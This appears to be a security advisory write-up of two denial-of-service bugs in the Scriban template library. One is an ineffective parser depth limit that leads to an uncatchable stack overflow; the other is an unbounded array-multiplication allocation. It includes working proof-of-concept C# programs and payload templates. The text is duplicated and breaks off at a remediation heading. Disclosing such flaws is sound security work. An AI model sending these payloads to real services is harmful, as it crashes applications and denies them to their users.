Scriban.Signed

Summary

The ExpressionDepthLimit parser guard in Scriban does not actually stop parsing — it only logs a non-fatal error and lets recursive descent continue. As a result, a template containing a deeply nested expression (parentheses, array initializers, object initializers, or unary operators) drives the recursive-descent parser into a native stack overflow. The resulting StackOverflowException is uncatchable in .NET and immediately terminates the host process.

Any application that parses an attacker-influenced template — or that passes attacker-controlled strings to object.eval / object.eval_template — can be crashed by a single small request (roughly an 8 KB payload). This is a denial-of-service. It affects both Scriban-native (Template.Parse) and Liquid (Template.ParseLiquid) syntax modes, which share the same expression parser.

This re-opens two advisories that were reported as fixed: GHSA-wgh7-7m3c-fx25 ("Uncontrolled recursion in parser → StackOverflow", reported fixed in 6.6.0) and GHSA-p6q4-fgr8-vx4p ("StackOverflow via nested array initializers bypasses ExpressionDepthLimit", reported fixed in 7.0.0). Both fixes are incomplete: the limit they rely on never halts recursion. All releases 6.6.0 through 7.2.0 (current) are affected.

Details

The depth guard is EnterExpression() in src/Scriban/Parsing/Parser.Expressions.cs:

// src/Scriban/Parsing/Parser.Expressions.cs:1209-1218
private void EnterExpression()
{
    _expressionDepth++;
    var limit = Options.ExpressionDepthLimit;
    if (limit > 0 && !_isExpressionDepthLimitReached && _expressionDepth > limit)
    {
        LogError(GetSpanForToken(Previous), $"The statement depth limit `{limit}` was reached when parsing this statement");
        _isExpressionDepthLimitReached = true;
    }
}

When the limit is exceeded it calls LogError(...) and sets a flag. It does not throw, does not return a sentinel, and does not unwind the parse. LogError here uses the default isFatal: false, so it merely appends a message and sets HasErrors — parsing proceeds:

// src/Scriban/Parsing/Parser.cs:476-488
private void Log(LogMessage logMessage, bool isFatal = false)
{
    Messages.Add(logMessage);
    if (logMessage.Type == ParserMessageType.Error)
    {
        HasErrors = true;
        if (isFatal) _hasFatalError = true;   // not set on the depth-limit path
    }
}

The flag _isExpressionDepthLimitReached is consulted only to avoid logging the same error more than once — no code path uses it to stop descending. Confirmed by full-repo search (grep -rn "_isExpressionDepthLimitReached" src/): it appears in exactly four places — the field declaration (Parser.cs:40), a reset to false (Parser.cs:106), and within EnterExpression the dedup test (Parser.Expressions.cs:1213) and its assignment to true (:1216). The only read is the dedup test on line 1213; nothing else reads it. ParseExpression calls EnterExpression() and then continues straight into the token switch with no flag check:

// src/Scriban/Parsing/Parser.Expressions.cs:113 + 181-182
EnterExpression();
try
{
    ...
    case TokenType.OpenParen:
        leftOperand = ParseParenthesis();   // recurses back into ParseExpression

// src/Scriban/Parsing/Parser.Expressions.cs:984-1001
private ScriptExpression ParseParenthesis()
{
    var expression = Open<ScriptNestedExpression>();
    ExpectAndParseTokenTo(expression.OpenParen, TokenType.OpenParen);
    expression.Expression = ExpectAndParseExpression(expression);  // -> ParseExpression -> ParseParenthesis -> ...
    ...
}

Both Template.Parse (Scriban-native) and Template.ParseLiquid (Liquid-compatibility) front-ends share this same expression parser, so both entry points are affected.

So for input nested N levels deep, the parser recurses N levels deep regardless of ExpressionDepthLimit. There is no RuntimeHelpers.EnsureSufficientExecutionStack() call and no absolute recursion cap anywhere in the parser. Once the native thread stack is exhausted, the runtime raises StackOverflowException, which .NET does not allow to be caught and which tears down the entire process. The number of nesting levels required to overflow depends on the platform's thread-stack size (empirically around 4,000 levels on a default 1 MB stack); it is not a configurable mitigation.

The same defective guard is what makes the array-initializer fix for GHSA-p6q4-fgr8-vx4p ineffective: ParseArrayInitializer was wrapped in EnterExpression()/LeaveExpression(), but because EnterExpression() only logs, the array path still overflows.

The existing regression tests only assert HasErrors == true at a nesting depth of ~20 with a limit of 10 (src/Scriban.Tests/TestParser.cs); they never use a depth large enough to overflow the stack, so they pass while the protection does nothing against the actual DoS.

Runtime reachability without template injection: object.eval / object.eval_template (src/Scriban/Functions/ObjectFunctions.cs:72-155) re-parse a string argument at render time using Template.Parse(...). An application whose own templates are fully trusted is still vulnerable if any user-controlled value flows into object.eval. The catch (Exception) inside Eval cannot intercept the StackOverflowException.

PoC

A single console project reproduces it on the released NuGet package.

poc.csproj:

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <!-- If only the .NET 9 SDK is installed, change to net9.0. Behavior is identical. -->
  </PropertyGroup>
  <ItemGroup>
    <PackageReference Include="Scriban" Version="7.2.0" />
  </ItemGroup>
</Project>

Program.cs:

using Scriban;

int n = 8000; // ~8 KB template; 8000 reliably overflows a default 1 MB thread stack
string tpl = "{{ " + new string('(', n) + "1" + new string(')', n) + " }}";

System.Console.WriteLine($"Parsing template with {n} nested parentheses (default ParserOptions)...");
Template.Parse(tpl);                 // <-- process is killed here
System.Console.WriteLine("Parse returned without crashing"); // never reached

Run:

dotnet run -c Release

Observed output (process aborts; shell exit code 134 = SIGABRT):

Parsing template with 8000 nested parentheses (default ParserOptions)...
Stack overflow.
   at Scriban.Parsing.Parser.ParseParenthesis()
   at Scriban.Parsing.Parser.ParseExpression(...)
   at Scriban.Parsing.Parser.ExpectAndParseExpression(...)
   at Scriban.Parsing.Parser.ParseParenthesis()
   ... (repeats until the stack is exhausted)

Additional confirmations (same crash / exit 134), substituting the template body in Program.cs:

The explicit limit is ignored — still crashes:

Template.Parse(tpl, parserOptions: new ParserOptions { ExpressionDepthLimit = 10 });

Array initializers (the GHSA-p6q4 path):

string tpl = "{{ " + new string('[', n) + "1" + new string(']', n) + " }}";
Template.Parse(tpl);  // crashes identically

Object initializers {x:{x:...{x:1}...}}:

var b = new System.Text.StringBuilder();
for (int i = 0; i < n; i++) b.Append("{x:");
b.Append('1');
b.Append('}', n);
Template.Parse("{{ " + b + " }}");  // crashes identically

Unary operators:

string tpl = "{{ " + new string('!', n) + "true" + " }}";
Template.Parse(tpl);  // crashes identically

Liquid syntax mode (shares the same expression parser):

string tpl = "{{ " + new string('(', n) + "1" + new string(')', n) + " }}";
Template.ParseLiquid(tpl);  // crashes identically

Runtime via object.eval, with a fully trusted outer template — verified end-to-end: the outer parse reports HasErrors == false, then Render() crashes the process and the surrounding try/catch never fires (the StackOverflowException is uncatchable):

using Scriban;

int n = 8000;
string deep = new string('(', n) + "1" + new string(')', n);
string outer = "{{ \"" + deep + "\" | object.eval }}";

System.Console.WriteLine($"Outer template length = {outer.Length} chars.");
var t = Template.Parse(outer);
System.Console.WriteLine($"Outer parsed. HasErrors = {t.HasErrors}");
System.Console.WriteLine("Rendering (object.eval re-parses the inner string at runtime)...");
try
{
    t.Render();
    System.Console.WriteLine("Render returned without crashing");
}
catch (System.Exception e)
{
    System.Console.WriteLine($"Caught {e.GetType().Name} (note: StackOverflowException cannot be caught)");
}

Verified against clean NuGet installs of Scriban 6.6.0, 7.0.0, 7.1.0, and 7.2.0 (net8.0, .NET 9 runtime, Linux). A control template with depth 200 parses normally (HasErrors == false, no crash).

Impact

• Type: Denial of service via uncontrolled recursion (CWE-674) leading to an uncatchable StackOverflowException and full process termination.
• Severity: CVSS 3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5 (High) — the same vector and score as both prior advisories it re-opens (GHSA-wgh7-7m3c-fx25 and GHSA-p6q4-fgr8-vx4p, each scored 7.5 High with the identical AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H vector). The score reflects the library boundary, where no privileges are required to parse a template; the privilege actually needed in a given deployment depends on how that application exposes template input.
• Who is impacted: Any application that calls Template.Parse / Template.ParseLiquid (or Template.Render on an unparsed source) on template text that is wholly or partially attacker-controlled — the documented server-side template scenario — and any application that passes attacker-controlled strings to object.eval / object.eval_template, even when its own templates are trusted.
• Why the existing mitigation does not help: ExpressionDepthLimit (default 250) is advisory only; it records a parse error but does not stop recursion, so it cannot prevent the stack overflow. Because the exception is a StackOverflowException, callers cannot defend with try/catch either — the process is lost.
• Affected versions: 6.6.0 – 7.2.0 (all versions shipping the depth-limit guard). Versions before 6.6.0 are vulnerable to the original unbounded-recursion condition.

Suggested remediation: make the limit actually stop descent — e.g. throw a parse exception from EnterExpression() when the limit is exceeded (or log with isFatal: true and have the parse loop honor _hasFatalError by unwinding). As defense in depth, call RuntimeHelpers.EnsureSufficientExecutionStack() at the entry of ParseExpression (the same technique already used in object.to_json), and add a regression test at a depth that overflows without the fix (e.g. 100,000), asserting a graceful exception rather than only checking HasErrors at depth 20.

Summary

The array multiplication operator (array * integer) in Scriban allocates a result whose size is the product of the attacker-controlled integer and the array length, with no LoopLimit / LimitToString check and no overflow-safe arithmetic. A ~40-byte template forces a multi-gigabyte allocation, producing a denial-of-service.

This is the unguarded sibling of operations that were hardened against the same class of abuse: string * integer (gated by a LimitToString pre-check), array.insert_at (gated by StepLoop/LoopLimit — the GHSA-24c8-4792-22hx fix shipped in 7.2.0, scored 8.7 High), and the range/iteration paths covered by GHSA-c875-h985-hvrc ("Built-in operations bypass LoopLimit", fixed 7.0.0). The same LoopLimit-based hardening pattern was applied to those operations but never to array * integer.

This can be observed directly in 7.0.0, the release where GHSA-c875 was patched: (1..5) * 50000000 (and 1..N | array.size) correctly throws Exceeding number of iteration limit '1000', while [1,2,3,4,5] * 50000000 allocates ~2 GB with no limit. The LoopLimit control is enforced on the iteration path but not on the array * int allocation path, side by side, in the same version. The bug has been present since the operator was introduced in 3.0.0, survives all of the 6.6.0 / 7.0.0 / 7.2.0 DoS-hardening passes, and is still present in 7.2.0 (current) — i.e. it is both a missed sibling of GHSA-24c8 and an incomplete coverage of GHSA-c875's LoopLimit hardening.

Details

The array * int operator is handled in ScriptArray<T>.TryEvaluate:

// src/Scriban/Runtime/ScriptArray.cs:504-508  (Multiply case)
var newArray = new ScriptArray<T>(intModifier * array.Count);
for (int i = 0; i < intModifier; i++)
{
    newArray.AddRange(array);
}

intModifier is the attacker-supplied integer (context.ToInt(...), ScriptArray.cs:399). Two problems:

1. No resource limit. Neither new ScriptArray<T>(intModifier * array.Count) nor the AddRange loop consults LoopLimit, LimitToString, or calls context.StepLoop(...). A grep of the entire TryEvaluate method (ScriptArray.cs:360-560) finds no StepLoop / LoopLimit / Limit reference. LoopLimit (default 1000) is therefore not enforced: a template that requests 250,000,000 elements creates them all without any "iteration limit" error.

2. Integer overflow in the capacity. intModifier * array.Count is unchecked int arithmetic. The overflow-safe long cast used by the string sibling is absent here.

The DoS-hardening passes guarded the two sibling operations but not this one:

// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:341  (string * int — GUARDED)
if (context.LimitToString > 0 && value > 0 && leftText.Length > 0
        && (long)leftText.Length * value > context.LimitToString)   // long arithmetic, pre-check
{
    throw new ScriptRuntimeException(spanMultiplier, $"String multiplication exceeds LimitToString `{context.LimitToString}`.");
}

// src/Scriban/Functions/ArrayFunctions.cs:414  (array.insert_at — GUARDED, GHSA-24c8 fix in 7.2.0)
for (int i = array.Count; i < index; i++)
{
    context.StepLoop(span, ref loopStep);   // LoopLimit enforced
    array.Add(null);
}

array * int (ScriptArray.cs:504) received neither guard.

When the oversized allocation fails as a managed exception, it is wrapped by the binary-expression evaluator:

// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:241-243
catch (Exception ex) when (!(ex is ScriptRuntimeException))
{
    throw new ScriptRuntimeException(span, ex.Message);
}

So a host that wraps Render() in try/catch sees a ScriptRuntimeException carrying the original OutOfMemoryException message (or ArgumentOutOfRangeException on the integer-overflow path).

PoC

A single console project reproduces it on the released NuGet package.

poc.csproj:

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <!-- If only the .NET 9 SDK is installed, change to net9.0. Behavior is identical. -->
  </PropertyGroup>
  <ItemGroup>
    <PackageReference Include="Scriban" Version="7.2.0" />
  </ItemGroup>
</Project>

Program.cs:

using Scriban;

// ~41-byte template requests 5 * 200,000,000 = 1,000,000,000 elements
string tpl = "{{ x = [1,2,3,4,5] * 200000000; x.size }}";

System.Console.WriteLine("Rendering...");
var sw = System.Diagnostics.Stopwatch.StartNew();
var result = Template.Parse(tpl).Render();           // allocates ~7.7 GB
System.Console.WriteLine($"size={result.Trim()} peakWS="
    + System.Diagnostics.Process.GetCurrentProcess().PeakWorkingSet64 / (1024 * 1024)
    + "MB elapsed=" + sw.ElapsedMilliseconds + "ms");

Run:

dotnet run -c Release

Measured peak working set on Scriban 7.2.0 (net8.0, .NET 9 runtime, Linux), varying only the multiplier:

| Multiplier | template size | elements | peak working set | |---|---|---|---| | 100,000 | 38 B | 500K | 49 MB (not a DoS) | | 50,000,000 | 40 B | 250M | 1,958 MB | | 200,000,000 | 41 B | 1B | 7,681 MB | | 400,000,000 | 41 B | 2B | 15,313 MB | | 429,496,730 | 41 B | — | integer overflow in intModifier * array.Count → wrapped ArgumentOutOfRangeException |

LoopLimit (default 1000) is demonstrably not enforced: 250,000,000 elements are created with no "iteration limit" error. Reproduced identically on released NuGet 6.6.0, 7.0.0, 7.1.0, and 7.2.0, and on 3.0.0, 4.0.0, 5.0.0, 5.10.0, 6.0.0, 6.2.1, 6.5.8 (~2 GB at multiplier 50,000,000). Version 2.1.4 and earlier are NOT affected — the operator did not exist (Unable to convert type ScriptArray to int).

Impact

• Type: Denial of service via uncontrolled memory allocation (CWE-789 / CWE-1284). The result size is intModifier * array.Count, attacker-controlled, with no limit and no overflow-safe arithmetic.
• Severity: CVSS 4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N = 8.7 (High) — the same vector and score GitHub/Scriban assigned to the sibling advisory GHSA-24c8-4792-22hx. CVSS 3.1 equivalent AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5 (High).
• Who is impacted: any application that renders a template whose text is wholly or partially attacker-controlled (the documented server-side template scenario), or that passes attacker-controlled strings to object.eval / object.eval_template. No MemberFilter interaction is required — this is a pure language operation.
• Outcome (deployment-dependent, stated honestly): On systems with sufficient memory, the runtime catches the allocation failure and the host sees a ScriptRuntimeException wrapping OutOfMemoryException (or ArgumentOutOfRangeException on the integer-overflow path) — recoverable per request. On systems where the multi-GB allocation exceeds available memory, the OS OOM-killer can terminate the process before the managed exception fires (this outcome is deployment-dependent and was not reproduced in our 20 GB + swap test environment). In all cases, a ~40-byte template forces a multi-GB allocation and seconds of pegged CPU/GC — a real per-request availability degradation and resource amplification.
• Why the existing mitigation does not help: LoopLimit (default 1000) is the documented control for unbounded iteration/allocation, but the array * int path never consults it, so a defender running default configuration is not protected.
• Affected versions: 3.0.0 – 7.2.0 (every release containing the array * int operator). 2.1.4 and earlier are not affected.

Suggested remediation

Apply the same hardening already used on the sibling operations, in ScriptArray.cs (Multiply case, :504-508):

• Mirror array.insert_at: call context.StepLoop(span, ref loopStep) inside the fill loop so LoopLimit is enforced; or
• Mirror string * int: pre-check the result size with overflow-safe arithmetic before allocating, e.g. if (context.LimitToString > 0 && (long)intModifier * array.Count > context.LimitToString) throw new ScriptRuntimeException(...), and compute the capacity as long (or reject negative/overflowing products) to remove the integer-overflow path.

Add a regression test that asserts a graceful ScriptRuntimeException for a large multiplier (e.g. [1,2,3,4,5] * 50000000) rather than allowing the allocation to proceed.

Summary

The ExpressionDepthLimit parser guard in Scriban does not actually stop parsing — it only logs a non-fatal error and lets recursive descent continue. As a result, a template containing a deeply nested expression (parentheses, array initializers, object initializers, or unary operators) drives the recursive-descent parser into a native stack overflow. The resulting StackOverflowException is uncatchable in .NET and immediately terminates the host process.

Any application that parses an attacker-influenced template — or that passes attacker-controlled strings to object.eval / object.eval_template — can be crashed by a single small request (roughly an 8 KB payload). This is a denial-of-service. It affects both Scriban-native (Template.Parse) and Liquid (Template.ParseLiquid) syntax modes, which share the same expression parser.

This re-opens two advisories that were reported as fixed: GHSA-wgh7-7m3c-fx25 ("Uncontrolled recursion in parser → StackOverflow", reported fixed in 6.6.0) and GHSA-p6q4-fgr8-vx4p ("StackOverflow via nested array initializers bypasses ExpressionDepthLimit", reported fixed in 7.0.0). Both fixes are incomplete: the limit they rely on never halts recursion. All releases 6.6.0 through 7.2.0 (current) are affected.

Details

The depth guard is EnterExpression() in src/Scriban/Parsing/Parser.Expressions.cs:

// src/Scriban/Parsing/Parser.Expressions.cs:1209-1218
private void EnterExpression()
{
    _expressionDepth++;
    var limit = Options.ExpressionDepthLimit;
    if (limit > 0 && !_isExpressionDepthLimitReached && _expressionDepth > limit)
    {
        LogError(GetSpanForToken(Previous), $"The statement depth limit `{limit}` was reached when parsing this statement");
        _isExpressionDepthLimitReached = true;
    }
}

When the limit is exceeded it calls LogError(...) and sets a flag. It does not throw, does not return a sentinel, and does not unwind the parse. LogError here uses the default isFatal: false, so it merely appends a message and sets HasErrors — parsing proceeds:

// src/Scriban/Parsing/Parser.cs:476-488
private void Log(LogMessage logMessage, bool isFatal = false)
{
    Messages.Add(logMessage);
    if (logMessage.Type == ParserMessageType.Error)
    {
        HasErrors = true;
        if (isFatal) _hasFatalError = true;   // not set on the depth-limit path
    }
}

The flag _isExpressionDepthLimitReached is consulted only to avoid logging the same error more than once — no code path uses it to stop descending. Confirmed by full-repo search (grep -rn "_isExpressionDepthLimitReached" src/): it appears in exactly four places — the field declaration (Parser.cs:40), a reset to false (Parser.cs:106), and within EnterExpression the dedup test (Parser.Expressions.cs:1213) and its assignment to true (:1216). The only read is the dedup test on line 1213; nothing else reads it. ParseExpression calls EnterExpression() and then continues straight into the token switch with no flag check:

// src/Scriban/Parsing/Parser.Expressions.cs:113 + 181-182
EnterExpression();
try
{
    ...
    case TokenType.OpenParen:
        leftOperand = ParseParenthesis();   // recurses back into ParseExpression

// src/Scriban/Parsing/Parser.Expressions.cs:984-1001
private ScriptExpression ParseParenthesis()
{
    var expression = Open<ScriptNestedExpression>();
    ExpectAndParseTokenTo(expression.OpenParen, TokenType.OpenParen);
    expression.Expression = ExpectAndParseExpression(expression);  // -> ParseExpression -> ParseParenthesis -> ...
    ...
}

Both Template.Parse (Scriban-native) and Template.ParseLiquid (Liquid-compatibility) front-ends share this same expression parser, so both entry points are affected.

So for input nested N levels deep, the parser recurses N levels deep regardless of ExpressionDepthLimit. There is no RuntimeHelpers.EnsureSufficientExecutionStack() call and no absolute recursion cap anywhere in the parser. Once the native thread stack is exhausted, the runtime raises StackOverflowException, which .NET does not allow to be caught and which tears down the entire process. The number of nesting levels required to overflow depends on the platform's thread-stack size (empirically around 4,000 levels on a default 1 MB stack); it is not a configurable mitigation.

The same defective guard is what makes the array-initializer fix for GHSA-p6q4-fgr8-vx4p ineffective: ParseArrayInitializer was wrapped in EnterExpression()/LeaveExpression(), but because EnterExpression() only logs, the array path still overflows.

The existing regression tests only assert HasErrors == true at a nesting depth of ~20 with a limit of 10 (src/Scriban.Tests/TestParser.cs); they never use a depth large enough to overflow the stack, so they pass while the protection does nothing against the actual DoS.

Runtime reachability without template injection: object.eval / object.eval_template (src/Scriban/Functions/ObjectFunctions.cs:72-155) re-parse a string argument at render time using Template.Parse(...). An application whose own templates are fully trusted is still vulnerable if any user-controlled value flows into object.eval. The catch (Exception) inside Eval cannot intercept the StackOverflowException.

PoC

A single console project reproduces it on the released NuGet package.

poc.csproj:

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <!-- If only the .NET 9 SDK is installed, change to net9.0. Behavior is identical. -->
  </PropertyGroup>
  <ItemGroup>
    <PackageReference Include="Scriban" Version="7.2.0" />
  </ItemGroup>
</Project>

Program.cs:

using Scriban;

int n = 8000; // ~8 KB template; 8000 reliably overflows a default 1 MB thread stack
string tpl = "{{ " + new string('(', n) + "1" + new string(')', n) + " }}";

System.Console.WriteLine($"Parsing template with {n} nested parentheses (default ParserOptions)...");
Template.Parse(tpl);                 // <-- process is killed here
System.Console.WriteLine("Parse returned without crashing"); // never reached

Run:

dotnet run -c Release

Observed output (process aborts; shell exit code 134 = SIGABRT):

Parsing template with 8000 nested parentheses (default ParserOptions)...
Stack overflow.
   at Scriban.Parsing.Parser.ParseParenthesis()
   at Scriban.Parsing.Parser.ParseExpression(...)
   at Scriban.Parsing.Parser.ExpectAndParseExpression(...)
   at Scriban.Parsing.Parser.ParseParenthesis()
   ... (repeats until the stack is exhausted)

Additional confirmations (same crash / exit 134), substituting the template body in Program.cs:

The explicit limit is ignored — still crashes:

Template.Parse(tpl, parserOptions: new ParserOptions { ExpressionDepthLimit = 10 });

Array initializers (the GHSA-p6q4 path):

string tpl = "{{ " + new string('[', n) + "1" + new string(']', n) + " }}";
Template.Parse(tpl);  // crashes identically

Object initializers {x:{x:...{x:1}...}}:

var b = new System.Text.StringBuilder();
for (int i = 0; i < n; i++) b.Append("{x:");
b.Append('1');
b.Append('}', n);
Template.Parse("{{ " + b + " }}");  // crashes identically

Unary operators:

string tpl = "{{ " + new string('!', n) + "true" + " }}";
Template.Parse(tpl);  // crashes identically

Liquid syntax mode (shares the same expression parser):

string tpl = "{{ " + new string('(', n) + "1" + new string(')', n) + " }}";
Template.ParseLiquid(tpl);  // crashes identically

Runtime via object.eval, with a fully trusted outer template — verified end-to-end: the outer parse reports HasErrors == false, then Render() crashes the process and the surrounding try/catch never fires (the StackOverflowException is uncatchable):

using Scriban;

int n = 8000;
string deep = new string('(', n) + "1" + new string(')', n);
string outer = "{{ \"" + deep + "\" | object.eval }}";

System.Console.WriteLine($"Outer template length = {outer.Length} chars.");
var t = Template.Parse(outer);
System.Console.WriteLine($"Outer parsed. HasErrors = {t.HasErrors}");
System.Console.WriteLine("Rendering (object.eval re-parses the inner string at runtime)...");
try
{
    t.Render();
    System.Console.WriteLine("Render returned without crashing");
}
catch (System.Exception e)
{
    System.Console.WriteLine($"Caught {e.GetType().Name} (note: StackOverflowException cannot be caught)");
}

Verified against clean NuGet installs of Scriban 6.6.0, 7.0.0, 7.1.0, and 7.2.0 (net8.0, .NET 9 runtime, Linux). A control template with depth 200 parses normally (HasErrors == false, no crash).

Impact

• Type: Denial of service via uncontrolled recursion (CWE-674) leading to an uncatchable StackOverflowException and full process termination.
• Severity: CVSS 3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5 (High) — the same vector and score as both prior advisories it re-opens (GHSA-wgh7-7m3c-fx25 and GHSA-p6q4-fgr8-vx4p, each scored 7.5 High with the identical AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H vector). The score reflects the library boundary, where no privileges are required to parse a template; the privilege actually needed in a given deployment depends on how that application exposes template input.
• Who is impacted: Any application that calls Template.Parse / Template.ParseLiquid (or Template.Render on an unparsed source) on template text that is wholly or partially attacker-controlled — the documented server-side template scenario — and any application that passes attacker-controlled strings to object.eval / object.eval_template, even when its own templates are trusted.
• Why the existing mitigation does not help: ExpressionDepthLimit (default 250) is advisory only; it records a parse error but does not stop recursion, so it cannot prevent the stack overflow. Because the exception is a StackOverflowException, callers cannot defend with try/catch either — the process is lost.
• Affected versions: 6.6.0 – 7.2.0 (all versions shipping the depth-limit guard). Versions before 6.6.0 are vulnerable to the original unbounded-recursion condition.

Suggested remediation: make the limit actually stop descent — e.g. throw a parse exception from EnterExpression() when the limit is exceeded (or log with isFatal: true and have the parse loop honor _hasFatalError by unwinding). As defense in depth, call RuntimeHelpers.EnsureSufficientExecutionStack() at the entry of ParseExpression (the same technique already used in object.to_json), and add a regression test at a depth that overflows without the fix (e.g. 100,000), asserting a graceful exception rather than only checking HasErrors at depth 20.

Summary

The array multiplication operator (array * integer) in Scriban allocates a result whose size is the product of the attacker-controlled integer and the array length, with no LoopLimit / LimitToString check and no overflow-safe arithmetic. A ~40-byte template forces a multi-gigabyte allocation, producing a denial-of-service.

This is the unguarded sibling of operations that were hardened against the same class of abuse: string * integer (gated by a LimitToString pre-check), array.insert_at (gated by StepLoop/LoopLimit — the GHSA-24c8-4792-22hx fix shipped in 7.2.0, scored 8.7 High), and the range/iteration paths covered by GHSA-c875-h985-hvrc ("Built-in operations bypass LoopLimit", fixed 7.0.0). The same LoopLimit-based hardening pattern was applied to those operations but never to array * integer.

This can be observed directly in 7.0.0, the release where GHSA-c875 was patched: (1..5) * 50000000 (and 1..N | array.size) correctly throws Exceeding number of iteration limit '1000', while [1,2,3,4,5] * 50000000 allocates ~2 GB with no limit. The LoopLimit control is enforced on the iteration path but not on the array * int allocation path, side by side, in the same version. The bug has been present since the operator was introduced in 3.0.0, survives all of the 6.6.0 / 7.0.0 / 7.2.0 DoS-hardening passes, and is still present in 7.2.0 (current) — i.e. it is both a missed sibling of GHSA-24c8 and an incomplete coverage of GHSA-c875's LoopLimit hardening.

Details

The array * int operator is handled in ScriptArray<T>.TryEvaluate:

// src/Scriban/Runtime/ScriptArray.cs:504-508  (Multiply case)
var newArray = new ScriptArray<T>(intModifier * array.Count);
for (int i = 0; i < intModifier; i++)
{
    newArray.AddRange(array);
}

intModifier is the attacker-supplied integer (context.ToInt(...), ScriptArray.cs:399). Two problems:

1. No resource limit. Neither new ScriptArray<T>(intModifier * array.Count) nor the AddRange loop consults LoopLimit, LimitToString, or calls context.StepLoop(...). A grep of the entire TryEvaluate method (ScriptArray.cs:360-560) finds no StepLoop / LoopLimit / Limit reference. LoopLimit (default 1000) is therefore not enforced: a template that requests 250,000,000 elements creates them all without any "iteration limit" error.

2. Integer overflow in the capacity. intModifier * array.Count is unchecked int arithmetic. The overflow-safe long cast used by the string sibling is absent here.

The DoS-hardening passes guarded the two sibling operations but not this one:

// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:341  (string * int — GUARDED)
if (context.LimitToString > 0 && value > 0 && leftText.Length > 0
        && (long)leftText.Length * value > context.LimitToString)   // long arithmetic, pre-check
{
    throw new ScriptRuntimeException(spanMultiplier, $"String multiplication exceeds LimitToString `{context.LimitToString}`.");
}

// src/Scriban/Functions/ArrayFunctions.cs:414  (array.insert_at — GUARDED, GHSA-24c8 fix in 7.2.0)
for (int i = array.Count; i < index; i++)
{
    context.StepLoop(span, ref loopStep);   // LoopLimit enforced
    array.Add(null);
}

array * int (ScriptArray.cs:504) received neither guard.

When the oversized allocation fails as a managed exception, it is wrapped by the binary-expression evaluator:

// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:241-243
catch (Exception ex) when (!(ex is ScriptRuntimeException))
{
    throw new ScriptRuntimeException(span, ex.Message);
}

So a host that wraps Render() in try/catch sees a ScriptRuntimeException carrying the original OutOfMemoryException message (or ArgumentOutOfRangeException on the integer-overflow path).

PoC

A single console project reproduces it on the released NuGet package.

poc.csproj:

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <!-- If only the .NET 9 SDK is installed, change to net9.0. Behavior is identical. -->
  </PropertyGroup>
  <ItemGroup>
    <PackageReference Include="Scriban" Version="7.2.0" />
  </ItemGroup>
</Project>

Program.cs:

using Scriban;

// ~41-byte template requests 5 * 200,000,000 = 1,000,000,000 elements
string tpl = "{{ x = [1,2,3,4,5] * 200000000; x.size }}";

System.Console.WriteLine("Rendering...");
var sw = System.Diagnostics.Stopwatch.StartNew();
var result = Template.Parse(tpl).Render();           // allocates ~7.7 GB
System.Console.WriteLine($"size={result.Trim()} peakWS="
    + System.Diagnostics.Process.GetCurrentProcess().PeakWorkingSet64 / (1024 * 1024)
    + "MB elapsed=" + sw.ElapsedMilliseconds + "ms");

Run:

dotnet run -c Release

Measured peak working set on Scriban 7.2.0 (net8.0, .NET 9 runtime, Linux), varying only the multiplier:

| Multiplier | template size | elements | peak working set | |---|---|---|---| | 100,000 | 38 B | 500K | 49 MB (not a DoS) | | 50,000,000 | 40 B | 250M | 1,958 MB | | 200,000,000 | 41 B | 1B | 7,681 MB | | 400,000,000 | 41 B | 2B | 15,313 MB | | 429,496,730 | 41 B | — | integer overflow in intModifier * array.Count → wrapped ArgumentOutOfRangeException |

LoopLimit (default 1000) is demonstrably not enforced: 250,000,000 elements are created with no "iteration limit" error. Reproduced identically on released NuGet 6.6.0, 7.0.0, 7.1.0, and 7.2.0, and on 3.0.0, 4.0.0, 5.0.0, 5.10.0, 6.0.0, 6.2.1, 6.5.8 (~2 GB at multiplier 50,000,000). Version 2.1.4 and earlier are NOT affected — the operator did not exist (Unable to convert type ScriptArray to int).

Impact

• Type: Denial of service via uncontrolled memory allocation (CWE-789 / CWE-1284). The result size is intModifier * array.Count, attacker-controlled, with no limit and no overflow-safe arithmetic.
• Severity: CVSS 4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N = 8.7 (High) — the same vector and score GitHub/Scriban assigned to the sibling advisory GHSA-24c8-4792-22hx. CVSS 3.1 equivalent AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5 (High).
• Who is impacted: any application that renders a template whose text is wholly or partially attacker-controlled (the documented server-side template scenario), or that passes attacker-controlled strings to object.eval / object.eval_template. No MemberFilter interaction is required — this is a pure language operation.
• Outcome (deployment-dependent, stated honestly): On systems with sufficient memory, the runtime catches the allocation failure and the host sees a ScriptRuntimeException wrapping OutOfMemoryException (or ArgumentOutOfRangeException on the integer-overflow path) — recoverable per request. On systems where the multi-GB allocation exceeds available memory, the OS OOM-killer can terminate the process before the managed exception fires (this outcome is deployment-dependent and was not reproduced in our 20 GB + swap test environment). In all cases, a ~40-byte template forces a multi-GB allocation and seconds of pegged CPU/GC — a real per-request availability degradation and resource amplification.
• Why the existing mitigation does not help: LoopLimit (default 1000) is the documented control for unbounded iteration/allocation, but the array * int path never consults it, so a defender running default configuration is not protected.
• Affected versions: 3.0.0 – 7.2.0 (every release containing the array * int operator). 2.1.4 and earlier are not affected.

Suggested remediation

